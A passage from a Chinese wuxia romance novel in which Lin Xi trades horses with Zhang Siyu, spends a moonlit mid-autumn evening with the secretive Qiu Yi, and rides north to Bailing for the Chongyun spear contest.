林兮受宠若惊,又瞄向书案上摆着的《五州山河异志》,厚着脸皮说道,“司宇兄,可否借你这本书钻研一二,待我去白陵时再还你?”
张司宇似乎有些犯难,“这是母本,书中的绘图都是我那朋友亲手绘的,他前前后后画了许久。若还不回,我当如何向他交待?”
林兮挑了挑眼,“初见时,我就觉这画作非凡,想你那朋友定是位丹青妙手,才令你这般不舍。”转而轻嘘道,“我也非有借无还之人。”
“你若见了天作的画,才知何为真正的妙笔生花。”张司宇目色渐暖,不禁暗暗道,“三弟虽也自幼习武,性子却温润得很,他的琴画之艺,少主也常常自叹不如。”眼色一变,“你暂押我一物,待你还书时,我再交回于你,如何?”
林兮寻遍周身,“我身上最值钱的,怕就是那匹青花马了,你若看得上,就拿去吧。”
张司宇肃着声应道,“可以。”
林兮心头一
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顿,收回玩笑话,尴尬道,“司宇兄,我跟你开玩笑的。那马,是我从徐管堂处借来的,我回云间还要还回去呢。”
张司宇不以为意,“既是借的,你这份师生情谊,还是够押的。”
林兮不知当喜还是当忧,赶话道,“好!烦请司宇兄写个字据,我同先生也好有个交待。”
“不自量力,区区一管堂,还需我立个字据?”
林兮紧忙歉声道,“也是开玩笑的,司宇兄莫怪。”
“你骑我马走吧,年尾一并还到白陵来!”
林兮双眼大亮,“那匹火红神驹?”
张司宇取出百两纹银,吩咐道,“明日卯时,我到跃然楼与你换马。我那马只惯精饲,你定要好生照料。”
林兮愣愣吃惊,心想这贵族公子出手真是阔绰,为一匹马,出手便是百两。
拜别张司宇回到跃然楼后,一位侍卫模样的人已是等候在跃然楼内。林兮前脚进门,掌柜便向他挤出眼色,恭敬客气道,“高大人,您等的人到了。”
那位高姓男子上前询道,“你就是清农的林兮了?”
林兮略垂下头,拱手回道,“正是在下。”
高姓男子打量了圈林兮,“我会将你的模样转达给殿下,你可以回云间城了。”
林兮眼中一惊,几度确认自己有无听岔。再转过神,那名侍卫已快到了门外,“大人,我可以回去了?”
高姓男子回道,“正是,你可以回去了。”说罢,便离了去。
翌日清晨,雾色朦胧,万籁俱寂,江汽寒寒,树叶嗖嗖作响。
林兮搓着手,不时朝掌心吹送热乎的哈气。远远传来一阵清脆的马蹄声,侧耳听去,只听那马蹄声由远而近,向跃然楼来。
一匹大白马踏雾冲驰,骑影越来越近,马上人英姿矫健,气若游龙。
张司宇座下的雪龙大骏是马中上品中的上品,通身雪白,不夹掺一丝异色,炯亮的双目和骏驰的气概毫不输此先那匹火色红马。
张司宇飞身一纵,俯马耳侧,对它说了几句。又将其牵至林兮身前,递出缰绳,“它是河川。白陵路虽险,有它的脚程,七八日功夫,你就可从云间到白陵了。算好日程,十一月初一前,你必须要到。”
张司宇近乎命令似的语气,林兮被晨雾中白衣少年突然威压的气势逼得说不出话。
“林兮,后会有期。”
待林兮再回过神时,跃然楼前只剩张司宇告别之声和渐远的蹄声。林兮向张司宇和青马渐远的骑影高挥手臂,鼓喊一声,“后会有期。”
林兮踩上白马马镫,手在鞍处一拽,越上了马。安置好行李和草帽,东驰而去,那马四蹄如电,催着林兮如发箭离弦一般,向着云间城奔行。
尤其是揣在怀中的《五州山河异志》,他更是盼着快些呈到徐管堂与邱怡面前,怕是这样一本市坊见所未见的新书,足够这仨师生新鲜一阵。
12. 清秋月夜
“三月,四月,五月,六月,七月。”林兮数着,认识邱怡的时长,算道,“到清秋那日,就是六个月又十天了。”
一人一马已到云间城下。那马自进城后,就赚足红羡目光,寻常百姓哪见过如此毛色俱佳又神风凛凛的骏马。林兮对着一双双红眼发亮的注目,倒是习以为常般,一路以来,他与此马所行之处,都会惹得如此关注。
林兮几乎未离开过云间城,此去凤临一行,他也是充满了新鲜与兴奋。但回到了云间城,心中又是说不出的温暖,好像在这里,他终于可以有个踏踏实实睡觉的地方了。
“好俊一马!”学堂前出现了一匹的大白马,徐阳即刻大赞一声,又见牵马的正是林兮,问道,“林兮,你回来了!你这马也太俊了!”
林兮洋洋笑道,“怎样?此马配我如何?”
徐阳上前拍了拍林兮的肩膀,“绰绰有余了,这可是六皇子送你的?”两人有说有笑地牵着一匹白马入了院,清农学徒们听说林兮回来了,还带了一匹神骏非常的大白马回来,都上赶着要去院里见见。一众学子围着白马站了圈,纷纷竖着手指,不吝其辞地冲着它夸赞。
河川,是张司宇教养的,待人也如张司宇般端正有礼,昂首立在人群中,时时抖动着优美的鬃毛。
“好一匹神龙天马!”三四丈外的管堂徐照也不禁捋须奋声赞起。
大白马发出一声低沉的嘶鸣,林兮见到徐照先生,不知该如何说起将他的青马抵押给张司宇的事,又看到侧身站至徐照身后的邱怡,此刻正朝着己向投来极亮的目光。
“兮儿,适才我还同邱怡说,你要过几日才回得来。不想,今日就到了。”
林兮憨笑着道,“我就想着最好赶在清秋节前回来,就一直骑呀骑,真的就赶回来了。”
邱怡看到林兮身后白马,也是好奇道,“林兮,你这马?”
林兮一句半句也说不清楚,只先将大白马送到马厩,再回药房同徐管堂将事情一五一十说出。
邱怡越听越感不妙,不好的预感频频窜出。
二哥不是被父亲发去了边军,焉何又做了质子?
父亲早有议定,朝廷若要白陵出子为质,当派大哥。定是母亲容不得二哥,命雅安将他从极遥调了去。
围城必阙,这不是将二哥往绝路上逼吗?
不对。
二哥既是质子之身,却会邀林兮回墨白城观冲云一战,难道,他可以随意往来凤临与白陵不成?若真如此,他一定是……投靠了朝廷。
邱怡咬牙苦想着,他投靠了谁呢?江王,太子,还是……圣上?
待徐照看过《五州山河异志》后,邱怡即来翻阅。
林兮看着她纤玉般的指头顺着一行行墨字划过,读得很是仔细。目光再度被“冲云枪”的绘图吸引,感觉盘绕冲云枪的那条神龙,正端肃有威的注视着自己。
邱怡也注意到了那如彩瑰般的枪绘,淡淡说道,“第一神兵,冲云枪。”
林兮亦是说起,“十一月初一,张司宇邀我去白陵观看冲云之约,我带上你,咱们同去。”
邱怡神色怔凝,回拒道,“白陵在极北之地,天山路远,车马难行,我这身子,禁不住这般折腾的。”说后,继续翻看起兵器书,冲云枪,青锋剑,离火刀,符光剑,看到第四处兵刃时,就合上书页闭起了双目,默默听着林兮同徐照讲述一路见闻。
徐照突然想起什么似的,“张司宇?我倒是听人提过,白陵张家有位奇童,多半就是此人。”
林兮快意道,“世人皆知,白陵人最是重武轻文,除去他,哪里还有得如此双全之人?”
徐照轻叹一声,“你是只知其一,不知其二。若论翰林墨客,当属中、东二都更为强盛,其中更是以顾氏所治的东海城最为人才济济。这位白陵奇童的生母,正是顾氏后人。”
林兮目中一亮,“原是如此,此行凤临,虽未见到六皇子,但能与司宇兄相识,也是不亏。”
“岂止不亏?”徐照略是嗤责道,“圣上的皇子们都以和张家修好为荣。当年北都君侯入凤临时,太子及众皇子率群臣候于城下,以国礼相迎,据说到了凤来宫外,还是太子亲自扶陵侯公子下的马。”
林兮道,“我记得司宇兄说过,陵侯有两个孩子,其中一位是叫天作。”
徐照抚须,语气悠扬长叹,“白陵双子星。”
林兮问道,“先生也知道的?”
“说起来,我当初带你来清农,也和这对白陵双子星有几分渊源。”徐照拈着胡须道,“十六年前的冬天,凤临发生时疫,那一年的凤临,几乎是家家闭户,人人自危。清农奉召入凤临治疫,我也是在那时认识的幻医正兄弟二人,随着他们一同潜研解方。费了很多周折,才寻得根由,已近功成时,适逢白陵张家上报家中诞下一对双生子。消息一前一后送进凤来宫,圣上信奉天象,便觉这治疫之功,是这对双子星带来的。昭告四海,天降大邺一对双子福星,为谢天意,大赦天下。”
林兮神情一默,“圣上真是糊涂,明是清农的人在出力,圣上竟将此功劳归于白陵?”
“你说话留心。”徐照警地提着嗓子嘱咐道,“幻医正之妹得以嫁入朱阳王府,正是圣上感念清农功重,亲自赐的婚。”
邱怡心中,如是凿落万钧巨石般。
都是假的,都是假的。张家双子是假,天降福星是假,所谓青史,不过是些粉墨而已,圣上表的哪是双子福星除疫之功,分明是父亲当年的从龙之功。
从龙?
张家向来对皇室之争置身事外,难道父亲当年拥立献王为帝,也是因我?
是这样了,张家双子之名一旦定书于圣旨之上,谁还会去质疑双子是否为一母所出。父亲啊,难道,在女儿出生前,您就已经有如此筹谋了吗?
纤手抚膺,越思越痛,她属实想不明白,父亲一生英明果决,缘何在她这灾难祸星身上,就如此糊涂。
离开药房时,夜幕早早便降了下,林兮见她仍怏怏,问道,“走,带你去个好地方。”
邱怡心结难抒,难起兴致。
林兮冲着她悄悄道,“我带回的那马,保你这辈子都没见过。走,我带你去细瞧瞧。”
圆月如盘,
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清光洒下。
河川身形高大,林兮虽精心喂养,但它还是有些不自在。
清农医堂的马棚对它而言,确实有些不够住,马槽子在河川看来也是矮低矮低的,它吃饲料时,头都比此前压得低些,此刻正生着闷气了。昂首对着邱怡,撒气似的嘶喊。
林兮笑问,“河川,你这是怎么了?”
邱怡看到河川撒娇的模样,紧忙抚摸着它的头,另只手抓起槽中饲料,送到河川口处,说道,“马儿,你叫河川是吗?”
河川见了吃的,还是少主送来的,心情好了许多。
邱怡极是耐心地一把一把送去饲料,就如过去在墨白城马场中的情形一样,喃喃道,“明月几万里,与子共中秋。【1】”
“你真有法子。想到给河川念诗的主意。这马是司宇兄的坐骑,想必是听着他的好词妙句长大的。”
邱怡心里哭笑不得,说道,“清秋月夜,万家团圆。你留它一人独在这空落落的棚子里,你说它心情会好吗?”又自怜道,“你可知道,我们这些孤单的人,多希望来个人陪吗?记去年清秋时,只一身孝衣伴我。举目四望,天地茫茫,我就真的好想父亲还能在身边,陪我说说话。”
她眼角微浸的清泪,月光下耀得极为透亮。
此刻的林兮,正思考起如何迎合邱怡,说道,“这样吧,明日我送河川去城里驿馆。那边马房大,比清农待着舒服,还有其他马匹的陪伴,心情自然就好了。”
“这样也好。”
月明星疏,人影娉婷。
邱怡对待河川的眼神极为耐心,动作极为轻柔,一人一马,处得异常友好。
林兮目不转睛地盯去,她眸底幽似古井沉水,无霜无波,无喜无悲,可每抚触一次河川,都好像清落月光般舒缓柔和,无论何样躁急的情绪,都能被一一舒化。林兮臆想,如果自己也能被她这般抚一抚,就好了。
林兮继而哄好般说道,“你既到了清农,就不再是一个人了。你看,眼下,你,我,河川,不正聚在一起赏月吗?”看邱怡面露舒色,又道,“定是老天爷听到了你的祈告,这远在白陵的骏马,今年都特意跋山涉水来到清农陪你过清秋节了。”
邱怡神异。
林兮之言,如春江暖流,送入她心坎的每个角落,每处缝隙,融得她那已冰了许久的石心寒肠,如春回大地般,重新复苏起来。
令她又不自禁地抚起河川,二哥这马与我那战神一般,虽极通人性,却不会管顾人世复杂。它如今只当我是张之合,却不会在意我身上流的到底是哪家的血,当真要比人要好相处许多。
林兮的吸声渐促,左处胸下,一颗乱心,砰砰作跳,“我自离开云间城后,就时常想起你,好像你早就住进了我心里一样。这一路山河之遥,都阻不断这份想念,哪里都有你的影子。”
邱怡没有吭声,她不知该如何回应这突来的言语,对着怔怔痴来的林兮淡淡一笑。
林兮固执地等待许久,都未有回应,“是,吓到你了吗?”
邱怡相了相他,暗自摇首,“我劝你,不要跟我走的太近。”
13. 道寻常矣
“为什么?”
林兮视着那发随风扬的少女,不解问出。
水漾清眸怔怔顿住,“我大限将至,不愿再与这世间徒增牵连。”
林兮眉头蹙得几是僵住了,“你那身弱之症,又加重了是吗?”
邱怡扫他一眼,神情愈发漠然,“与我病症无关,待心事一了,此身便将释然。”
“你说的都是什么啊?”林兮惑着声道。
“我——”舌头像是打过结似的,她理了理神绪,才勉强道,“林兮,我与你不同。你还能从文中取乐,可我,每活着一日,这罪孽便重了一分。我不想,因我的存在,让我最在意的那个人,变得不得安宁。”
“你说的,是你的父亲吗?”
她顿默良久,终于从嘴中勉强挤出一声,“是。”
林兮看着眼前的人,她的声音很轻细,她的身子也很轻细,就像海棠树下初见时那样,人幽幽飘在风中,只消一吹,就可飞起来了。
“我看的出,你对你的父亲感情极深,他定也是非常爱你的。即使他不在了,你也要相信,他肯定是希望你能开开心心活着,快快乐乐活着,而不是整日闷闷不乐,自怨自艾。”
眸睫微晃,她的胸口闷堵异常,“你还是不了解。家父从没要求过我要开心活着,快乐活着,他只要我活得清白,活得坦荡,活得……像是他的孩子。可如今,这些我都做不到了。”
林兮细细嗤了一声,“你怎就不清白、不坦荡了?你本身就是他的女儿,又何需去像他的孩子?”
“家父生前,做过很多了不起的事,他帮助过很多人,很多人都很爱戴他,尊重他。父亲是希望,我也可以成为他那样的人。我也曾为此努力过,可到头来,却发现,这一切的一切,不过华胥一梦,不反过头来连累他,已当知足了。”
林兮抬手指着河川道,“你看看那马。你来之前,它是什么心情?你到之后,它又是什么心情?它因你的到来而开心,这就是你对它的帮助。你觉得,你的父亲有因此而不安宁吗?”
她怔怔朝河川望去,仿佛是看到了那马的主人,正穿着月袍,自月辉中走来,比手划脚地对她训道,张之合,我投靠朝廷,不过是为驱虎吞狼。你呢?清农医女所出,不仅是伯父的耻辱,你和伯父更是张家的耻辱,连天作都将因你而蒙羞,一辈子抬不起头来。
“还有药房里的花草,你日日仔细照料着,今年长得,不知要比以往肥壮多少。你觉得,这些是罪孽吗?”
林兮不休的话语,正将她一点点从月下幻影中拉回着。
“你又不是什么大奸大恶之人,好端端的,怎么就扯到会连累你父亲了?”
邱怡目中骤跳,平着声线说道,“真到连累的那日,一切就太迟了。”
“父女一脉,他若真怕你连累,怎会生你养你?他生你养你,只要你好好活着,他就会开心。即使你做不到像他那样了不起,做不到像他那样帮助过很多人,但只要你做了,哪只怕一件小事,他就会觉得,你是他的骄傲。”
林兮的话,像道光似的,突然燎照起了她的心房。
骄傲。
父亲最大的执念,莫过于青峰剑。非因父亲贪好什么神兵利刃,而是,这柄青峰剑,已经误张家三代人了,他不希望,再将青峰剑的遗憾,延留到我们这代身上。
对,青峰剑。
邱怡忽然回正头来,目中闪着极亮的光芒,“林兮,我知道了,我知道要为了什么活下去了。”说后,莹光不禁泻落,连连垂笑。
一时间,林兮摸不清她究竟在为什么事如此激动。
只见邱怡带了带眼角泪光,“抱歉,我失仪了。”
林兮急忙摇手,“没有,没有。你能想清楚,就最好不过。”
邱怡抬起眼眸,腼着脸笑了起来。
她笑得很浅,还有些拘谨。
仿是一冽清泉浇心,又沁又甜。
林兮正出神望着,忽然感觉手处有人握来,掌心掌背皆如贴覆着软滑的水绸般。
“林兮,谢谢你。人生一世,生死固然有命,但就是死,也当死得其所。”
林兮双目不受控地瞠了起来。听前半句话,还以为她将说的,是如她的笑那般浅甜,可后半句,却像她的手一般凉轻。
她目中一顿,乍松开他的手,扬着双亮眸,抿着嘴角歉笑起来,“我又失仪了。”
看林兮还是那么愣愣望来,她重新审了审四周,她,清农的林兮,河川,圆月。意识过来后,刷地将手背到身后,“先失陪了。”
说后,她就像一阵轻风般,消失在目眶中。
邱怡回房后,在床上兴奋辗转,思索着将青峰剑带回墨白城的大计。
父亲给了我一身功夫,可不是让我用来自裁的。反正都是一死,我若能将青锋剑还回张家,也算是为父母当年的过错,做些补偿。
只是而今,我残毒未除,手脚失力,至今仍处处皆受制于清心丹,徐照不肯教我玄心奥义诀。唉,算了,求人不如求己,一门内功而已,书阁中有那多医书,自己去翻来学便是。
这一晚上,她说了很多奇怪的话,林兮都记住了,却只听懂了一句——“不要跟我走的太近”。
接后的两个月,林兮,也恐邱怡再露难色,尽量不出现在她眼前,但是心里,却成日期盼,能否在饭堂,院内偶然遇到她。他总觉自己傻了,竟常跑去驿馆马房看河川,将无法说出的话,说与它听。
十月下旬,一人一马,北上白陵。那人,少年侠气,意气风发,那马,势如飞箭,鬃飞蹄疾。
白陵地北,九月见雪。
林兮日日加衣,冒着凛冽的风雪纵马向着白陵城行进,越是进,越觉北地之寒,风刺骨,气凉人。积雪数寸,一片茫茫,分不清是路是坎儿,再看河川,自进北境之地,竟像是生龙入海,探路寻途,毫无失蹄。每日追超前行,无一马可像它那般,轻快稳进。
更令他意外的事,每经一处馆驿,都有人上前问询是否留宿。原来,这匹白马,不仅是张司宇见白陵路险,找个由头将识途辨路的雪龙骏借给自己,也是张司宇留给他,在北境畅通无阻的通关之马。
风雪一路,终在十月二十九这日到了平川镇,明日再向西北方向行进,以白马河川之速,不到半日功夫,就可达白陵城。
平川镇之所以取这个名字,是因白陵地处山脉之地,多是丘陵沟壑,只平川镇至白陵都城一路地势稍稍平缓。当年张家祖先好不容易在层层山峦沟回中,寻到一块儿平处,才暂驻军于此,给此地取名为平川镇,寓意重峦复嶂,一马平川。
林兮牵着白马河川,准备寻驿馆投宿。
“让我看看你是谁?”
一身着鹅黄色裘袄,头戴裘帽的少女,笑靥娇艳地冲向了林兮。
林兮左瞅瞅,右顾顾,身旁也没别的人了,那少女的一双笑眼,果是向自己这边投来。
谁料,少女三两步走到河川前,对着它面部相了许久,稍是迟疑地说道,“这,应该是上将吧!”
林兮觉得很是有趣,“姑娘问的可是这马?它不叫上将,叫河川。”
“哦,我还以为这是司宇哥哥的马了。”
林兮道,“这确是司宇兄的马。”
“我知道了,司宇哥哥定是给它改过名字了。”那少女恍悟似的雀跃说道,又向林兮上下打量一番,晃着卷俏的上眼睫毛,“上几日司宇哥哥骑了匹青花马回来,他说是和人换马了,就是你吧?”
林兮点了点头,“是我。”
“你可把司宇哥哥害惨了。”
林兮紧张问道,“怎么了?司宇兄发生何事了?”
少女顽皮一笑,捂着嘴说道,“司宇哥哥这次回来,身后带了一位好生顽皮的小伙儿,就因你那青马走的慢了些,那小伙儿一路都在笑话司宇哥哥,说不知
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他是怎么想的,竟用一匹万马挑一的雪龙骏,换了匹饭都要吃不动的老马来。”那少女好像又回忆起当时的情形,说着还捂起嘴咯咯笑了几声,一团团白色的哈气冒出手指间的缝隙。
林兮稍稍难为情,也不知再回句什么好了。“姑娘,你既认得河川,为何刚刚还对着它相了许久呢?”
林兮不知,除了河川,白陵尚有一匹与它生的几乎一模一样的雪龙骏,如果不是熟悉二马之人,根本无从辨别哪只是哪只。
那女孩见外来的林兮一无所知的模样,笑得很侥幸。说道,“那是自然,万一认错了呢。”
“认错?”
“我告诉你吧。这马,是四年前,我爹爹为君侯大人寻来的。当时,爹爹带了两匹一样的雪龙骏来,我也是看了好久,才发现,其中一匹鼻子稍微大,马头的鬃毛稍微多些,那匹马成了少主坐骑。另外一匹,君侯大人就送给了司宇哥哥,就是这匹了。”少女眉飞如舞地指着河川道。
林兮顿时起了兴致,“那匹叫什么?”
“战神啊。”少女回道。
“那你叫什么名字?”林兮突发一问,有些冒昧,但是对面前的少女,刚刚好。
“姚十一,十月初一的十一。”残日光头下,眸若玲珑的姚十一灿笑道。
“幸会十一姑娘。在下云间城,林兮。”
姚十一不为意点了点头。
林兮看了看天色,“在下还要寻地落脚,恕不能相陪了。”
“随我走吧。”姚十一说道。
林兮狐疑,白陵民风果然骁悍,光天化日竟敢劫留良民。
姚十一补充说道,“你宿在外面没什么,河川可不能宿在那些民舍里。”
对面少女或许是好心,但林兮心中一万个不愿接受,无病无伤,何需他人教自己如何照顾河川,“不劳姑娘费心了,林兮苦了自己,也不会苦了这马的。”
回望河川,几月相处,他觉河川对自己好像有了感情,常常对着自己嘶鸣。林兮也粗知河川的性子,这马对人,亲疏分的太清楚了。姚十一虽识河川,但从河川此刻对姚十一的反应看,不甚熟悉。
“想走?”姚十一嬉问,说着,右手将挂在腰间的竹鞭一扬。
林兮盯着她手中的细鞭,长约三尺,鞭梢处一条尺长的皮筋。
猛来一鞭,只听唰一声,林兮肋处抖疼,火瞪姚十一,心念,这女出手真狠。紧忙以手护胸,嘴中不忘道,“你这姑娘,真是不讲理。”
“我一番好心,却被你当作是驴肺了。”姚十一亦是气言道。
娇鞭再挥,鞭子来的极快,林兮侧身一闪,姚十一见林兮带了功夫,却不出手,甚是恼怒,她的鞭更急了。
林兮逼得后站了几步,姚十一本想乘胜出鞭,但见林兮正贴着骏马河川,心念,若是伤了河川,被张司宇知道了,肯定没好。
她左手抓住鞭梢,对林兮说道,“小子,我们去个人少的地方较量吧。”
林兮注意到,姚十一不再气盛,似乎在忌惮什么,心想,应是和张司宇的马有关。侧马而上,口中回道,“我还有事在身,你一个人较量去吧。”
姚十一对着已经上马的身影,咬着牙唇,气得说不出话。
河川扬起前蹄,猛然一跃,她连忙闪开,目送着它一溜烟北去的身影。
林兮生怕姚十一再缠来,不顾天色已暮,索性心一横,直出平川镇,奔白陵都城而去。
天行渐晚,路上几乎遇不到什么行人,唯唯山川雪景,更显静谧怡人。
林兮神思飞驰,难怪邱怡不愿同来白陵,自己一身强体健的男儿,尚有娇女胆敢拦街,若白陵人人生性都如此粗蛮,以她的病躯,在白陵怕是不能出门了。司宇兄长在这样的地方,翩翩有礼,待人谦和,实在可贵。
河川知道,这是去往白陵城的路,亦是越行越疾,恨不得快些到白陵城,快些回到它主人身边。
14. 一剑绝天
白陵城的方位不难辨认,远处一座雪顶乌山,想必便是北境天极的墨白山。白陵都城抱山而建,林兮纵马朝墨白山驰行。
亥时不到,这一人一马就已临白陵城下,但林兮走的匆忙,心思也一直在放空,忘了白陵城此刻已然宵禁,对着紧紧合闭的城门,无奈得说不出话来。
幸而这时,河川急切的嘶鸣声,惊动了城门的守卫。守卫扒着门缝,瞧出是一面生少年和一匹面熟的白马,虽分辨不出是哪一匹,但也不敢怠慢,即去请示。
恰逢这几日冲云之约,白陵往客众多,连都督大人都时刻在岗。姚都督听闻张家的雪龙骏此刻正在城外,紧忙去瞧了瞧,向门缝外大喊,“何人在城外?”
林兮听到门里传来的声音,有了救星,回道,“云间城林兮,应张司宇之邀,赴冲云之约来的。”
姚都督相了相,那马确实是他当年进献给君侯的雪龙骏,立刻叫人开了城门,请林兮入城。
林兮大喜过望,自到了白陵城,凭身下这匹白马,几乎处处可得优待。进了都城,竟是位身着劲装的将军来迎,更是受宠若惊。
姚都督对林兮嘘寒问暖,询问他为何不在平川镇歇息一晚,得知他在平川镇被一女子拦马挥鞭,欺得待不下了。听到该女子又是使鞭的,小女儿抖甩竹鞭的动作瞬时入脑。
以一种极为义愤的声腔,拍桌喝道,“岂有此理!定是外来女子,不识得二公子的马。”
林兮没有回应,又听到姚都督问道,“林公子可还记得那女子是何模样?”
“一介女流,姚都督不必放在心上。”林兮挥挥手道。
姚都督打哈哈道,“林公子,天色已晚,请随我到行辕休息吧,明日一早,我派人送你进墨白城。”
林兮应声,随姚都督去了行辕。
翌日一早,一名兵卫奉命送林兮去墨白城,但并未将河川牵来,林兮问道,“我骑来的那匹马呢?”
“都督大人说带那马上街太招摇,昨夜已送往墨白城内的马场了。”兵卫回道。
林兮心里一憋,几月相处,他对河川已经产生了友谊,不想都未来得及同它告别几句,就被送走了。“大哥如何称呼。”
“小的王进。”
林兮掏出一块银子,说道,“王大哥,我初来白陵,地头不熟,还请你多多照顾。”
王进推却,林兮又道,“白陵人事繁冗,但请王大哥指点一二。”
王进犹豫片刻,收了碎银。
白陵城君侯张鸢,本兄弟三人,有一同母弟张鸷,即张司宇之父。赤元三年,老君侯定张鸢为白陵少主,张鸷抛官离家,至今未归。另有一幼弟张鹏,侧室所出,下有一子张天官,父子皆是闲云野鹤。
张天官,原本不是这个名字。他的生母乃是张鹏外室,出生即养在墨白城外。还是在张鸢继任白陵君侯后,才令张鹏将他领回墨白城。子侄排序时,亦将较为年长的张天官定在首位,还特意为他改名,从了亲子张天作这辈的辈分字。
三年前,陵侯整饬白陵。命少主闭关,无命不得出,同时将张司宇外调去极遥军营,无命不得回,无人知个中缘由。
一年后,张鸢开始外出云游,此刻也不在白陵城内。如今白陵诸事,皆由闭关的少主监理。在此期间,凤临来旨,少主下令,从极遥调回张司宇,命他去凤临做质子。
“白陵少主可解了司宇兄的责罚,却解不了自己的。”林兮小声道。
王进奇色一闪,掩着声说道,“我和兄弟们私下也在讨论这事儿呢。”拉着林兮进了一处巷子,左右寻看,四下无人,又悄悄说,“冲云之战,是墨白城一等一的大事,少主不可能置身事外。如今君侯云游,这两日也没见他老人家回陵,所以,兄弟们猜测,或许,这两日少主就将出关。”
“大哥,这冲云之战,怎么会如此重要?”林兮再问道。
王进吃惊地觑了林兮一眼,“什么?你不是在逗我吧!”
“我确不知。司宇兄只让我来赴冲云之约,确实未曾说明,何为冲云之约。”林兮回道。
王进又为林兮讲述了冲云之约的始末详情。
冲云,实指冲云枪,此枪长丈七尺有余,重六十八斤,枪身暗刻云龙之样,通体苍银,如月下之雪,刃处锋芒,更如寒川冰柱。
因此,张司宇所著的兵器书上,将其列为第一神兵。但《五州山河异志》并未讲明冲云枪始末缘由。在王进的介绍下,林兮方知一二。
这冲云枪原是燕山至宝,燕山齐家也是仰仗这杆枪,与东海顾氏平起平坐,共治东都。
张家原本也有一件与冲云枪齐名的利剑。可六十年前,青锋剑不知所踪,失去了青锋剑的张家心有不甘,欲再寻一神兵利刃,就将目光对向了冲云枪。
齐家人自然不悦,一则冲云枪本是齐门之物,张、齐两家也无过节,张家人此举与绿林强盗无异,二则张家以剑法为长,甚少使枪,要这枪又有何用?
张家人说不讲理也不讲理,说讲理也讲理。
他们到了燕山,对冲云枪虎视眈眈,狼子野心可见一斑,但并未明抢,而是要与齐家对赌。赌的正是齐家至宝冲云枪和张家不外传的内功绝学回龙功,胜者,可同时拥有冲云枪与回龙功,若为平手,则二十年后再战。
张家人恐齐家不应约,又抛了好处,扬言,若三次比武仍未分胜负,便算作是齐家胜出,会拱手奉出回龙功。齐家人听到回龙功,心热了,眼也红了,想着张家已无青锋剑,未必会是对手,答允了下。
当场请出冲云枪与时任的白陵君侯比试开来,两位高手在燕山大战了三天三夜,围观的人都支撑不住,几度瞌睡醒来,二人仍纠打得不可开交,拆解上千招,终难分胜负,张家人无奈下山,约定二十年后再战。
但齐家人不知的是,张家众人中,有一不起眼的孩童,将在二十年后的燕山,技惊四座,几乎将齐家人扫落干净。
那个孩童,说他是位武痴,一点也不为过。回到白陵后,对身为君侯的父亲说道,“那枪,我自看的第一眼,便迷上了。当时,我就对自己说‘情愿一生不婚不娶,也要得到那杆枪’。”
他对冲云枪的痴迷,超乎众矣。三日大战,他几乎一眼未离开过冲云枪,自然对齐门的枪法招式,观察得异
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常仔细,每一招每一式,都记得分毫不差。
他回墨白城后,在墨白山中,闭关二十载,精益剑法,对齐门枪法的每一招,每一式,竟都钻研出数种破解之法。等他再踏出墨白城时,对世人而言,他已是当世天人,可对燕山齐家人而言,他却是头下山的饿虎,一头饿了二十年的虎。
他在燕山,不过八十招,便用手中之剑挑落了冲云枪。
燕山君侯难以置信地望着那位意气风发的张家新秀,二十年前,同其父大战三日,都未分出胜负。适才见张家派一少年郎出战,他还奚落老君侯几句“垂暮老矣”,不想,这位新秀剑术之妙,剑法之高,神乎其神,若不是在用冲云枪迎战,怕是五十招都过不了。
转而,气愤与羞辱,激得齐家人纷纷竖枪而来,那人一手护握冲云枪,一手持剑迎敌。而那冲云枪,更像要助他似的,自那新秀握起时,就发出淡银色的微光,他手中的剑,仿佛落了神力屏盾,嗖嗖数剑,齐家人的长枪,一一断成两截。
睨视着脚底七横八竖的断枪,那青年不慌不忙地用脸颊贴住冲云枪身,近乎挑衅似的说道,“怪只怪这枪太迷人了,也就你们,才舍得将这样一杆枪拿出来赌。”
齐家人闻言,既无奈,又愤恨。无奈自己技不如人,倾全门之力,都拦不住那位新秀的利剑;愤恨家传的枪,此刻已落入外人手中。
见齐家气急盛怒,那人又道,“感念你们曾以此枪立约。在下礼尚往来,二十年后,你齐家任何一人,都可到白陵一战,胜者,无论是枪还是回龙功,我都将双手奉上。但是,记清楚了,我也只给你们三次机会,三次过后,你们若还拿不回,这枪就永归我白陵张家所有了。”
说罢,张家众人一齐出了燕山都城,其中一人高举着他战利得来的那杆枪,神来气旺,不时还挥舞几下,得意的很。他们回到白陵后,那人仿佛成了白陵城的英雄,白陵君侯豪言,“白陵少主,非此子莫属。”
可他却谢绝了说,“我曾说过,情愿一生不婚不娶,也要得到这杆枪。如今,枪我得到了,不婚不娶之人,要这白陵少主之位何用?”
几经商榷,老君侯决定,为这位立下奇功的后起之秀另寻了条路。“此子,实乃我白陵城之战神也。此后,凡胜冲云之战者,即为白陵战神上将,城之副主,位在白陵少主之上。”
那位青年战神对冲云枪,爱之极深,但,渐渐地,他又不那么开心了。
“齐家人说的是,不练枪者,要这神枪何用?我岂能,负了冲云。”
他不忍心冲云枪被冰冰冷冷地束在高阁之上,再度闭关钻研起枪法来,誓要造出一套配得上冲云枪的枪法,希望齐家人再上门挑战时,可用冲云枪和自创的枪法应战。
不知该说是天妒英才,还是该说慧极必伤,十一年后,那位一生成名、绝天一剑的战神陨世了。他离开时,手中握的还是那未完成的枪法,痴痴望着立在一旁的冲云枪,不舍地同他的心头挚爱,告别。
那位战神离世后的第九年,齐家赴冲云之战,张鸢持符光剑,胜了第一次冲云之约,成为白陵城新的战神上将,但冲云枪,却未亮相。
15. 群贤毕至
林兮眼前出现一片石墙如同巨龙蜿蜒,土木盛极,两侧外墙长得不见尽头,好像要将中间那座雪顶乌山紧抱住似的。
“林公子,这便是墨白城了,小的只能送您到这儿,北极宫君侯府就在墨白城内。”
墨白城落在白陵都城中,与都城形成一个“回”字,而墨白城内的君侯府,同样也与墨白城成“回”字。
随着林兮迈入高耸的楼门,但见处处张灯结彩,锣鼓声喧天,热闹如过年似的。
不,那是兵器哐哐碰撞出声。
是有人在生事,就在那队禁军的包围之中。
林兮探出头,任目力再是好,也难越过排排禁军列成的肉身人墙,却见一道影闪出禁军围圈,而后,另一个杀气腾腾的兵将持着一根烧火棍般的铁笔亦趋而上,两个身影在禁军队列间飞快穿梭,步步追逐。
“久闻燕侯碧落飞魂枪为枪林之冠,果非虚名。”兵将模样的人说道。
燕山君侯道,“真是想不到,当年叱咤江南六州,以一支铁笔单挑十三帮二十九派的寒手判官竟成了张鸢手底下的卒子。”
林兮惊了眼,当即目不转睛朝那处看了去。眼前这位燕侯,便是天底下武功最高的四个人之——枪王齐远峰。
